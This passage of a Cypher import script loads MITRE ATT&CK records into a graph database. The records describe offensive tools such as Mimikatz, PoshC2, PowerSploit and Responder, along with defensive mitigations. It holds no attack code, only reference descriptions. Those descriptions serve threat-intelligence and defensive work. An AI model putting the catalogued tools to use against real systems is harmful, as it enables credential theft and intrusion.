"d22fe79d-f980-456a-a001-24a1ab4f5db2"]}}, {_id:11184, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-10-05T02:34:01.189Z", custom:"{\"x_mitre_platforms\":[\"Office 365\",\"Windows\",\"Azure AD\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"MailSniper\"]}", description:"MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used by a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.(Citation: GitHub MailSniper)", type:"tool", revoked:false, labels:["tool"], granular_markings:[], tool_version:"", name:"MailSniper", modified:"2019-10-15T18:27:30.488Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e", external_references:["00b1bb94-6f16-46c2-85a5-3eba41e7d147", "8f75764c-4f61-4d45-91e6-9ee05a1cece5"]}}, {_id:11190, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:11.544Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Mimikatz\"],\"x_mitre_version\":\"1.1\",\"x_mitre_contributors\":[\"Vincent Le Toux\"]}", description:"[Mimikatz](https://attack.mitre.org/software/S0002) is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)", type:"tool", revoked:false, labels:["tool"], granular_markings:[], tool_version:"", name:"Mimikatz", modified:"2019-04-24T23:36:42.142Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", external_references:["cb210b13-0e63-464c-a1a2-187b4c74c6fa", "51d0d9e6-cf98-4b20-8eff-d7f68ce5293e", "a80801d4-7e45-4acd-a176-bc28a0e54cc2"]}}, {_id:11194, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:31.601Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Net\",\"net.exe\"],\"x_mitre_version\":\"2.0\",\"x_mitre_contributors\":[\"David Ferguson, CyberSponse\"]}", description:"The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)\n\n[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) using <code>net use</code> commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as <code>net1 user</code>.", type:"tool", revoked:false, labels:["tool"], granular_markings:[], tool_version:"", name:"Net", modified:"2019-04-24T23:39:01.346Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"tool--03342581-f790-4f03-ba41-e82e67392e23", external_references:["11a35280-4b2f-4441-a9cb-f6247a13873e", "59a9ea69-240a-45c6-aa34-23d823d4df2d", "91516310-d947-487a-bc6f-cb8227dcc62a"]}}, {_id:11201, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:11.426Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"Windows\",\"macOS\"],\"x_mitre_aliases\":[\"Pass-The-Hash Toolkit\"],\"x_mitre_version\":\"1.0\"}", description:"[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)", type:"tool", revoked:false, labels:["tool"], granular_markings:[], tool_version:"", name:"Pass-The-Hash Toolkit", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"tool--a52edc76-328d-4596-85e7-d56ef5a9eb69", external_references:["e8ed4912-a442-4a9a-af26-440a3c6185ff", "8e67b0c7-fd5c-4593-ad59-eb9a39e92c2c"]}}, {_id:11207, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-04-23T12:31:58.125Z", custom:"{\"x_mitre_platforms\":[\"Windows\",\"Linux\",\"macOS\"],\"x_mitre_version\":\"1.1\",\"x_mitre_aliases\":[\"PoshC2\"]}", description:"[PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1086). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2)", type:"tool", revoked:false, labels:["tool"], granular_markings:[], tool_version:"", name:"PoshC2", modified:"2019-10-15T18:57:35.352Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"tool--4b57c098-f043-4da2-83ef-7588a6d426bc", external_references:["e61ebc13-5e0a-42cf-9253-054ef42c1f0f", "2bbabb5e-5116-4526-9c5c-60e60c368638"]}}, {_id:11210, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"PowerSploit\"],\"x_mitre_version\":\"1.1\"}", description:"[PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1086) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)", type:"tool", revoked:false, labels:["tool"], granular_markings:[], tool_version:"", name:"PowerSploit", modified:"2019-04-24T23:43:07.902Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", external_references:["139075b4-0a7f-4628-bae1-4af0567767cb", "e895c4aa-8ff4-4528-aadc-b8758d9a5b3f", "2596e00a-3076-47d0-9038-041e416934c8", "d02687fd-14a4-44f5-93c5-ffcad547d333"]}}, {_id:11219, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"Windows\",\"macOS\",\"Android\"],\"x_mitre_aliases\":[\"Pupy\"],\"x_mitre_version\":\"1.1\"}", description:"[Pupy](https://attack.mitre.org/software/S0192) is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. (Citation: GitHub Pupy) It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). (Citation: GitHub Pupy) [Pupy](https://attack.mitre.org/software/S0192) is publicly available on GitHub. (Citation: GitHub Pupy)", type:"tool", revoked:false, labels:["tool"], granular_markings:[], tool_version:"", name:"Pupy", modified:"2019-04-24T17:52:47.605Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", external_references:["f7bfbdb5-5b29-49ed-8fbb-a82029ff6c9c", "04aede39-5a9a-4a24-b818-ec0e945d6c57"]}}, {_id:11222, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"QuasarRAT\",\"xRAT\"],\"x_mitre_version\":\"1.0\"}", description:"[QuasarRAT](https://attack.mitre.org/software/S0262) is an open-source, remote access tool that is publicly available on GitHub. [QuasarRAT](https://attack.mitre.org/software/S0262) is developed in the C# language. (Citation: GitHub QuasarRAT) (Citation: Volexity Patchwork June 2018)", type:"tool", revoked:false, labels:["tool"], granular_markings:[], tool_version:"", name:"QuasarRAT", modified:"2019-06-24T19:05:41.307Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"tool--da04ac30-27da-4959-a67d-450ce47d9470", external_references:["cbf50c00-f976-4f71-a4a9-2dae682cc599", "dee82c20-9abf-4889-ae6d-476bf4878e10", "3ecfc934-8c40-405b-8c8c-9db90662db64", "7df21a3a-3c00-421a-9496-908e63433002", "e99ca828-986e-4e94-854c-4362a45f3444", "cce497b5-a079-4206-8fc5-6b9b64d7f589"]}}, {_id:11237, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-29T18:55:20.245Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"Remcos\"]}", description:"[Remcos](https://attack.mitre.org/software/S0332) is a closed-source tool that is marketed as a remote control and surveillance software by a company called Breaking Security. [Remcos](https://attack.mitre.org/software/S0332) has been observed being used in malware campaigns.(Citation: Riskiq Remcos Jan 2018)(Citation: Talos Remcos Aug 2018)", type:"tool", revoked:false, labels:["tool"], granular_markings:[], tool_version:"", name:"Remcos", modified:"2019-04-19T14:39:52.796Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", external_references:["86d0ad5e-38bd-445f-8b89-466f5e24c1d7", "3b29417c-fe69-4f19-94e8-f61811e74cfd", "ec51c764-fcee-4e87-b143-c8dc11b62467", "306aae18-fa52-4f5d-a86c-dcad9fab79a2", "e95b3c8b-6d87-4ac7-9bab-3092413c7128"]}}, {_id:11243, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Responder\"],\"x_mitre_version\":\"1.0\"}", description:"Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)", type:"tool", revoked:false, labels:["tool"], granular_markings:[], tool_version:"", name:"Responder", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719", external_references:["700e3e18-0f39-4fa5-9794-64c3e36acb24", "81d934ab-2fd9-4b0b-b641-344d6b7a78d3"]}}, {_id:11278, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"certutil\",\"certutil.exe\"],\"x_mitre_version\":\"1.1\"}", description:"[certutil](https://attack.mitre.org/software/S0160) is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. (Citation: TechNet Certutil)", type:"tool", revoked:false, labels:["tool"], granular_markings:[], tool_version:"", name:"certutil", modified:"2019-07-31T19:57:28.859Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", external_references:["8971d6a7-a03b-4662-a15a-e7a7baf96194", "f2bcc2c2-2f51-4d1f-9129-4f57af616bdd"]}}, {_id:11287, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:04.937Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"dsquery\",\"dsquery.exe\"],\"x_mitre_version\":\"1.1\"}", description:"[dsquery](https://attack.mitre.org/software/S0105) is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.", type:"tool", revoked:false, labels:["tool"], granular_markings:[], tool_version:"", name:"dsquery", modified:"2019-04-25T00:08:30.081Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe", external_references:["950fdc34-d979-4481-9cc1-ae3aa34c5a8a", "7d6eba05-495c-48c6-9ddd-1cb26437a512"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:tool:SDO;
UNWIND [{_id:7929, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-11T17:06:56.230Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Restrict execution of code to a virtual environment on or in transit to an endpoint system.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Application Isolation and Sandboxing", modified:"2019-06-11T17:06:56.230Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", external_references:["9e761d2e-c9b1-4bd9-8285-6d4f0b069450"]}}, {_id:8016, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files. Additionally, making these environment variables readonly can make sure that the history is preserved   (Citation: Securing bash history).", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Clear Command History Mitigation", modified:"2019-07-24T18:05:00.492Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--3e7018e9-7389-48e7-9208-0bdbcbba9483", external_references:["e6ea74f0-584d-48f8-b9bd-5ffd04f8d843", "b140724c-e356-4cc8-a940-dfad25a5d353"]}}, {_id:8026, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-11T17:01:25.405Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Code Signing", modified:"2019-06-11T17:01:25.405Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", external_references:["84565a13-f08e-459c-9717-6e7597a2fa71"]}}, {_id:8059, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Component Object Model Hijacking Mitigation", modified:"2019-07-24T14:20:05.776Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--ff5d862a-ae6b-4833-8c15-e235d654d28e", external_references:["389a2140-ef2c-4ad6-80b3-6978c9825112", "2874360e-20c5-406c-baa9-a2f886264741", "837351d5-0c0e-4a83-b448-a29d6fe306d5", "50ad1ce1-2607-4768-8374-76c2e78838b6", "419dd46f-35c1-4896-8edb-dc9be803ad80", "06b849e1-bc01-40af-a2a7-6741e637c98e"]}}, {_id:8116, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-07-19T14:33:33.543Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Data Backup", modified:"2019-07-19T14:33:33.543Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", external_references:["2c1bb8ae-e7fd-4e8a-b37d-8e3ee1a742c8"]}}, {_id:8143, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-03-15T14:49:53.983Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP)\n\nIn some cases, the means to decrypt files affected by a ransomware campaign is released to the public. Research trusted sources for public releases of decryptor tools/keys to reverse the effects of ransomware.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Data Encrypted for Impact Mitigation", modified:"2019-07-24T14:26:43.878Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--429a5c0c-e132-45c0-a4aa-c1f736c92a1c", external_references:["960b7a94-b4b4-4bbe-aa96-dd2383f1b9b1", "7e600b19-f68f-49cc-9e02-a8e7b49fbf66", "668ef3bb-1545-417d-9db0-37fd815ef883", "3f74d411-3352-47aa-b8f9-2827cf0b9173", "ebb1c5be-616c-43e3-a098-acca71d3b54a", "24cc4165-fa25-47f5-9391-4a709fdfeb59", "a180f34f-e6a1-4d62-87c1-ed7c7bcca6a7"]}}, {_id:8151, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Data Obfuscation Mitigation", modified:"2019-07-24T14:28:48.363Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e", external_references:["3c3c076b-eeb8-4c5c-bb55-6f50a03eabf3", "9a623d74-cdc9-412e-8b09-98b8d066bcb5"]}}, {_id:8192, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-11T16:45:19.740Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Disable or Remove Feature or Program", modified:"2019-06-11T16:45:19.740Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", external_references:["7e091d43-d1c0-4dcb-a64a-1aa4fc4a7b23"]}}, {_id:8203, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-07-19T14:58:42.715Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"This category is to associate techniques that mitigation might increase risk of compromise and therefore mitigation is not recommended.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Do Not Mitigate", modified:"2019-07-23T14:44:24.727Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c", external_references:["76d95558-eeb9-4eca-bef2-2174d6985339"]}}, {_id:8242, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-11T16:43:44.834Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Protect sensitive information with strong encryption.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Encrypt Sensitive Information", modified:"2019-06-11T16:43:44.834Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", external_references:["770fffa9-6577-4fda-b471-0ee529d4e72c"]}}, {_id:8247, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-11T16:40:14.543Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Prevent modification of environment variables by unauthorized users and groups.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Environment Variable Permissions", modified:"2019-06-11T16:40:14.543Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6", external_references:["d711fac8-7ad5-4e4b-aa14-ac08006cd9d3"]}}, {_id:8249, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-02-01T14:35:39.565Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"This technique likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Environmental Keying Mitigation", modified:"2019-07-24T19:17:09.258Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--c61e2da1-f51f-424c-b152-dc930d4f2e70", external_references:["6789149a-0b94-46c4-a722-79ee06afb333"]}}, {_id:8251, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-11T16:35:25.488Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Execution Prevention", modified:"2019-06-11T16:35:25.488Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", external_references:["8e863341-7cf9-4115-820f-83970f003613"]}}, {_id:8277, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-11T17:10:57.070Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Exploit Protection", modified:"2019-06-11T17:10:57.070Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", external_references:["990f246e-75e5-4bf3-90a4-b3b5907a4688"]}}, {_id:8287, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Exploitation for Credential Access Mitigation", modified:"2019-07-24T19:23:33.259Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--06160d81-62be-46e5-aa37-4b9c645ffa31", external_references:["a2276f70-55eb-4ebf-8d80-ac5afd437acd", "7aa1226c-7efd-46db-95ba-a5a05a7eeb07", "af99cf2a-5b64-4403-9e30-2896232be3be", "c4ea355f-9cde-4e90-934d-5944f5da795d"]}}, {_id:8349, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-11T16:33:55.337Z", custom:"{\"x_mitre_version\":\"1.1\"}", description:"Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Filter Network Traffic", modified:"2019-10-10T15:57:52.418Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", external_references:["c29415da-b94b-45bc-b6fe-437644c492ad"]}}, {_id:8353, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Block SMB  traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Forced Authentication Mitigation", modified:"2019-07-24T19:32:11.883Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--7009ba4d-83d4-4851-9fbb-e09e28497765", external_references:["35ff5a2b-1db0-4441-916d-4a347dc614d2", "464d2469-a57d-4139-b97b-f26be55b9840", "eed16ddd-156d-4c05-a312-50f5f998398b"]}}, {_id:8382, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Hidden Window Mitigation", modified:"2019-07-24T19:36:50.328Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a", external_references:["d0bd86d8-475b-4321-843c-82a1cf8da7bd"]}}, {_id:8388, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.", type:"course-of-action", revoked:false, labels:[], granular_markings:[], name:"Image File Execution Options Injection Mitigation", modified:"2019-07-24T19:39:01.215Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"course-of-action--33f76731-b840-446f-bee0-53687dad24d9", external_references:["59c3658a-df1c-4b65-adf6-48f7af9ba52f", "cb02e54c-4ca0-4480-90e7-a8775dcf50aa", "3839a39f-eb98-45a7-99c4-3ea8529ab5a9", "358698b7-48f8-4ce2-afe6-26c704017795", "eb1d60bd-87f2-44e8-a8df-2cca7cb2e9e9"]}}, {_id:8422, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_deprecated\":true}", description:"Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, 